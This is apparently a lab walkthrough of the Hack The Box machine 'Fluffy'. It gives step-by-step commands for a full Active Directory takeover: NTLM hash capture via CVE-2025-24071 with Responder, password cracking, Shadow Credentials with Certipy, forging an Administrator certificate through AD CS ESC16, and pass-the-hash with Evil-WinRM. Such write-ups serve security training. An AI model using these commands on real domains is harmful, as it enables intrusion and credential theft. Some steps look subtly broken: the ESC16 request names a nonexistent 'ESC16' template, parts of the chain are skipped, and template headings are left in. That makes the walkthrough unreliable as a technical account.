Fluffy

Summary of Exploitation

Fluffy is an easy-difficulty Windows Active Directory machine structured as an assumed breach scenario, where low-privileged initial credentials are provided. The attack chain begins with SMB enumeration of a writable share to find an advisory PDF regarding an internal Windows library exploit. Exploiting CVE-2025-24071 via a malicious .library-ms file inside a ZIP archive forces an internal process to authenticate back to our machine, capturing the NetNTLMv2 hash for the user p.agila.

After cracking this hash, Active Directory enumeration via BloodyAD or BloodHound reveals specific ACL permissions allowing p.agila to modify group memberships or delegate control. This leads to the compromise of the winrm_svc and ca_svc service accounts using Shadow Credentials. Finally, vertical privilege escalation to Administrator is achieved by exploiting an Active Directory Certificate Services (AD CS) ESC16 misconfiguration.

Recon Phase

Because Fluffy is an assumed breach scenario, initial valid domain credentials for a low-privileged user are provided at the start. However, standard network scanning via Nmap is performed first to map out the Domain Controller’s open infrastructure:

Bash

nmap -sC -sV -p- -min-rate 5000 10.10.11.X

Scan Results:

• Port 53/tcp: DNS (Simple DNS Plus)
• Port 88/tcp: Kerberos
• Port 135/tcp: RPC
• Port 389/tcp: LDAP (Domain: fluffy.htb)
• Port 445/tcp: SMB (Microsoft-ds)

We map the target domain structure locally in /etc/hosts:

10.10.11.X    fluffy.htb

Web Enumeration

(Note: As a pure Active Directory infrastructure machine, standard HTTP/HTTPS web ports are closed. The primary enumeration shifts immediately to directory and network file shares via SMB).

Using the initial provided low-privileged credentials, network share enumeration is executed using NetExec (NXC):

nxc smb 10.10.11.X -u 'initial_user' -p 'Password123' --shares

A writable public/departmental SMB share is discovered. Inside this share, a PDF document is retrieved that outlines internal patch statuses and notes that the file server ecosystem remains vulnerable to specific Remote Code Execution/Information Disclosure vectors, explicitly pointing towards CVE-2025-24071.

Exploitation Phase

Foothold

To abuse CVE-2025-24071, we craft a malicious Windows Library description file (.library-ms) configured to look for search connectors hosted on a remote, attacker-controlled location. We place this inside a compressed ZIP folder and upload it back to the writable SMB share where automated system/user processing indexers interact with it.

First, Responder is launched on the attacker instance to capture inbound authentication attempts:

sudo responder -I tun0 -v

Once the automated tasks or an internal domain user (p.agila) triggers or extracts the malicious archive, Windows attempts to resolve the external share path, sending an NTLMv2 authentication response back over the network wire.

Exploitation Script

The raw NetNTLMv2 hash for p.agila is caught by the local Responder listener. We save the hash string to a text file (hash.txt) and run John the Ripper or Hashcat against standard wordlists to reverse the password:

john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Cracked Password Output:

p.agila:password_extracted_here

With these new credentials, we validate WinRM access or Active Directory domain privileges across other domain resources using NetExec.

Priv-Esc to analyst

In this environment, the intermediate path requires escalating horizontally through specialized service accounts (winrm_svc and ca_svc).

Running Active Directory permission checking via BloodyAD or Certipy reveals that the user p.agila holds GenericWrite or explicit modification ACLs over key service accounts. We abuse this by injecting Shadow Credentials via Certipy to map an alternative public-key mapping directly into the service account object properties:

certipy shadow auto -username 'p.agila' -p 'password_extracted_here' -target-ip 10.10.11.X -account 'ca_svc'

This interaction outputs a PFX certificate configuration file for the service account, which we use to request an authenticated TGT and obtain the direct NTLM hash of the ca_svc account:

certipy auth -pfx ca_svc.pfx -dc-ip 10.10.11.X

Using the retrieved hash, WinRM is accessed to log in natively as a service operator, establishing the secondary intermediate foothold.

Priv-Esc to Root

Operating as the certificate service service account (ca_svc), we perform an infrastructure audit of Active Directory Certificate Services (AD CS). We run Certipy to enumerate vulnerable templates:

certipy find -vulnerable -username 'ca_svc' -hashes :[HASH] -dc-ip 10.10.11.X

The output reveals an active ESC16 vulnerability configuration, indicating misconfigured issuance permissions or enrollment flags that permit unauthorized identity targeting. Because our service account has rights to enroll or alter properties against this specific schema, we issue a forged certificate request targeting the high-privilege Administrator principal identity directly:

certipy req -username 'ca_svc' -hashes :[HASH] -ca fluffy-CA -template ESC16 -upn administrator@fluffy.htb -dc-ip 10.10.11.X

The CA processes the malicious enrollment request, delivering a functional administrator.pfx identity package. We pass this package back through Certipy’s auth engine to cleanly pull down the Domain Administrator’s NTLM hash:

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.X

Using a standard Pass-the-Hash technique via Evil-WinRM or Impacket, we execute a command prompt with full Domain Admin authority:

evil-winrm -i 10.10.11.X -u 'Administrator' -H '[ADMIN_NTLM_HASH]'

Root flag successfully obtained.

Once the administrative session initiates, the root identity is verified:

whoami
# fluffy\administrator

type C:\Users\Administrator\Desktop\root.txt

The Administrator flag is successfully retrieved, completing the full compromise of the domain.